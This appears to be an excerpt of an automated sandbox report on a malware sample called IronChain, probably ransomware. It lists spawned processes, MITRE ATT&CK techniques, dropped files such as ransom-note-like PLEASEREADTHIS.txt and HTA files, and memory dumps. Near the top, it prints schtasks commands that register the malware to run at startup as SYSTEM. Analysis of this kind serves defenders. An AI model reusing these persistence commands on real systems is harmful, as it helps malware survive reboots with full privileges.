C:\Windows\system32\schtasks.exeschtasks /create /tn "IhmRO1NGCH3SAmINPa7G7" /tr "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "SWyzsptoeqm1HRoLs5tHD6aGehmBown" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "SWyzsptoeqm1HRoLs5tHD6aGehmBown" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
3Service Execution
3Windows Management Instrumentation
1Persistence
Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify System Firewall
1Indicator Removal
3File Deletion
3Replay Monitor
Loading Replay Monitor...
Downloads
BdApiUtil.sys
BootRepair.sys
_pkcs1_decode.pyd
_raw_aes.pyd
_raw_aesni.pyd
_SHA1.pyd
_modexp.pyd
_cpuid_c.pyd
_strxor.pyd
ProcessMonitorDriver.sys
ThrottleStop.sys
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp314-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
_wmi.pyd
_zstd.pyd
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python314.dll
select.pyd
Lorem ipsum.txt
unicodedata.pyd
INSTALLER
__PSScriptPolicyTest_k2yiegog.2an.ps1
IronChain.hta
IronChain.hta
IronChain.hta
IronChain.hta
IronChain.hta
IronChain.hta
IronChain.hta
IronChain.hta
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
IronChainBg.bmp
hosts
wininit_check.ps1
AES.py
AES.pyi
ARC2.py
ARC2.pyi
ARC4.py
ARC4.pyi
Blowfish.py
Blowfish.pyi
CAST.py
CAST.pyi
ChaCha20.py
ChaCha20.pyi
ChaCha20_Poly1305.py
ChaCha20_Poly1305.pyi
DES.py
DES.pyi
DES3.py
DES3.pyi
PKCS1_OAEP.py
PKCS1_OAEP.pyi
PKCS1_v1_5.py
PKCS1_v1_5.pyi
Salsa20.py
Salsa20.pyi
_ARC4.pyd
_EKSBlowfish.py
_EKSBlowfish.pyi
_Salsa20.pyd
__init__.py
_chacha20.pyd
_mode_cbc.py
_mode_cbc.pyi
_mode_ccm.py
_mode_ccm.pyi
_mode_cfb.py
_mode_cfb.pyi
_mode_ctr.py
_mode_ctr.pyi
_mode_eax.py
_mode_eax.pyi
_mode_ecb.py
_mode_ecb.pyi
_mode_gcm.py
_mode_gcm.pyi
_mode_kw.py
_mode_kwp.py
_mode_ocb.py
_mode_ocb.pyi
_mode_ofb.py
_mode_ofb.pyi
_mode_openpgp.py
_mode_openpgp.pyi
_mode_siv.py
_mode_siv.pyi
_pkcs1_oaep_decode.py
_raw_arc2.pyd
_raw_blowfish.pyd
_raw_cast.pyd
_raw_cbc.pyd
_raw_cfb.pyd
_raw_ctr.pyd
_raw_des.pyd
_raw_des3.pyd
_raw_ecb.pyd
_raw_eksblowfish.pyd
_raw_ocb.pyd
_raw_ofb.pyd
BLAKE2b.py
BLAKE2b.pyi
BLAKE2s.py
BLAKE2s.pyi
CMAC.py
CMAC.pyi
HMAC.py
HMAC.pyi
KMAC128.py
KMAC128.pyi
KMAC256.py
KMAC256.pyi
KangarooTwelve.py
KangarooTwelve.pyi
MD2.py
MD2.pyi
MD4.py
MD4.pyi
MD5.py
MD5.pyi
Poly1305.py
Poly1305.pyi
RIPEMD.py
RIPEMD.pyi
RIPEMD160.py
RIPEMD160.pyi
SHA.py
SHA.pyi
SHA1.py
SHA1.pyi
SHA224.py
SHA224.pyi
SHA256.py
SHA256.pyi
SHA384.py
SHA384.pyi
SHA3_224.py
SHA3_224.pyi
SHA3_256.py
SHA3_256.pyi
SHA3_384.py
SHA3_384.pyi
SHA3_512.py
SHA3_512.pyi
SHA512.py
SHA512.pyi
SHAKE128.py
SHAKE128.pyi
SHAKE256.py
SHAKE256.pyi
TupleHash128.py
TupleHash128.pyi
TupleHash256.py
TupleHash256.pyi
TurboSHAKE128.py
TurboSHAKE128.pyi
TurboSHAKE256.py
TurboSHAKE256.pyi
_BLAKE2b.pyd
_BLAKE2s.pyd
_MD2.pyd
_MD4.pyd
_MD5.pyd
_RIPEMD160.pyd
_SHA384.pyd
_SHA512.pyd
__init__.py
__init__.pyi
_ghash_clmul.pyd
_ghash_portable.pyd
_keccak.pyd
_poly1305.pyd
cSHAKE128.py
cSHAKE128.pyi
cSHAKE256.py
cSHAKE256.pyi
keccak.py
keccak.pyi
PEM.py
PEM.pyi
PKCS8.py
PKCS8.pyi
_PBES.py
_PBES.pyi
__init__.py
Numbers.py
Numbers.pyi
Primality.py
Primality.pyi
_IntegerBase.py
_IntegerBase.pyi
_IntegerCustom.py
_IntegerCustom.pyi
_IntegerGMP.py
_IntegerGMP.pyi
_IntegerNative.py
_IntegerNative.pyi
DH.py
DH.pyi
HPKE.py
KDF.py
KDF.pyi
SecretSharing.py
SecretSharing.pyi
__init__.py
__init__.pyi
_scrypt.pyd
DSA.py
DSA.pyi
ECC.py
ECC.pyi
ElGamal.py
ElGamal.pyi
RSA.py
RSA.pyi
__init__.py
_curve.py
_curve25519.pyd
_curve448.pyd
_ec_ws.pyd
_ed25519.pyd
_ed448.pyd
_edwards.py
_montgomery.py
_nist_ecc.py
_openssh.py
_openssh.pyi
_point.py
_point.pyi
__init__.py
__init__.pyi
random.py
random.pyi
__init__.py
common.py
test_AES.py
test_ARC2.py
test_ARC4.py
test_Blowfish.py
test_CAST.py
test_CBC.py
test_CCM.py
test_CFB.py
test_CTR.py
test_ChaCha20.py
test_ChaCha20_Poly1305.py
test_DES.py
test_DES3.py
test_EAX.py
test_GCM.py
test_KW.py
test_OCB.py
test_OFB.py
test_OpenPGP.py
test_SIV.py
test_Salsa20.py
test_pkcs1_15.py
test_pkcs1_oaep.py
__init__.py
common.py
test_BLAKE2.py
test_CMAC.py
test_HMAC.py
test_KMAC.py
test_KangarooTwelve.py
test_MD2.py
test_MD4.py
test_MD5.py
test_Poly1305.py
test_RIPEMD160.py
test_SHA1.py
test_SHA224.py
test_SHA256.py
test_SHA384.py
test_SHA3_224.py
test_SHA3_256.py
test_SHA3_384.py
test_SHA3_512.py
test_SHA512.py
test_SHAKE.py
test_TupleHash.py
test_TurboSHAKE.py
test_cSHAKE.py
test_keccak.py
__init__.py
test_PBES.py
test_PKCS8.py
__init__.py
test_Numbers.py
test_Primality.py
test_modexp.py
test_modmult.py
__init__.py
test_HPKE.py
test_KDF.py
test_SecretSharing.py
test_ecdh.py
test_rfc1751.py
__init__.py
test_DSA.py
test_ECC_Curve25519.py
test_ECC_Curve448.py
test_ECC_Ed25519.py
test_ECC_Ed448.py
test_ECC_NIST.py
test_ElGamal.py
test_RSA.py
test_import_Curve25519.py
test_import_Curve448.py
test_import_DSA.py
test_import_ECC.py
test_import_RSA.py
__init__.py
test_random.py
__init__.py
test_dss.py
test_eddsa.py
test_pkcs1_15.py
test_pss.py
__init__.py
test_Counter.py
test_Padding.py
test_asn1.py
test_number.py
test_rfc1751.py
test_strxor.py
__init__.py
__main__.py
loader.py
st_common.py
DSS.py
DSS.pyi
PKCS1_PSS.py
PKCS1_PSS.pyi
PKCS1_v1_5.py
PKCS1_v1_5.pyi
__init__.py
eddsa.py
eddsa.pyi
pkcs1_15.py
pkcs1_15.pyi
pss.py
pss.pyi
Counter.py
Counter.pyi
Padding.py
Padding.pyi
RFC1751.py
RFC1751.pyi
__init__.py
_cpu_features.py
_cpu_features.pyi
_file_system.py
_file_system.pyi
_raw_api.py
_raw_api.pyi
asn1.py
asn1.pyi
number.py
number.pyi
py3compat.py
py3compat.pyi
strxor.py
strxor.pyi
__init__.py
__init__.pyi
AUTHORS.rst
LICENSE.rst
METADATA
RECORD
WHEEL
top_level.txt
METADATA
RECORD
WHEEL
LICENSE.md
top_level.txt
_SHA256.pyd
memory/2356-3153-0x000002489FDE0000-0x000002489FE02000-memory.dmp
memory/5900-12724-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-14084-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-10557-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-10714-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-9786-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-9536-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-10953-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-11052-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-11156-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-11311-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-11645-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-11665-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-11822-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-11970-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-12064-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-12248-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-8698-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-9409-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-8537-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-12735-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-12734-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-12887-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-8536-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-12958-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-7480-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-13064-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-12779-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-12763-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-12758-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-13146-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-13855-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-10015-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-14190-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-14276-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-14303-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-14409-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-14413-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-14534-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-14468-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-14808-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-15916-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-15917-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-15918-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-15920-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-15919-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-15921-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-16309-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-16310-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17358-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17471-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17486-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17487-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17856-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17886-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-7317-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17887-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-6750-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-6532-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17877-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17754-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17489-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-17488-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-5482-0x0000010965840000-0x0000010965F2D000-memory.dmp
memory/5900-5064-0x0000010965840000-0x0000010965F2D000-memory.dmp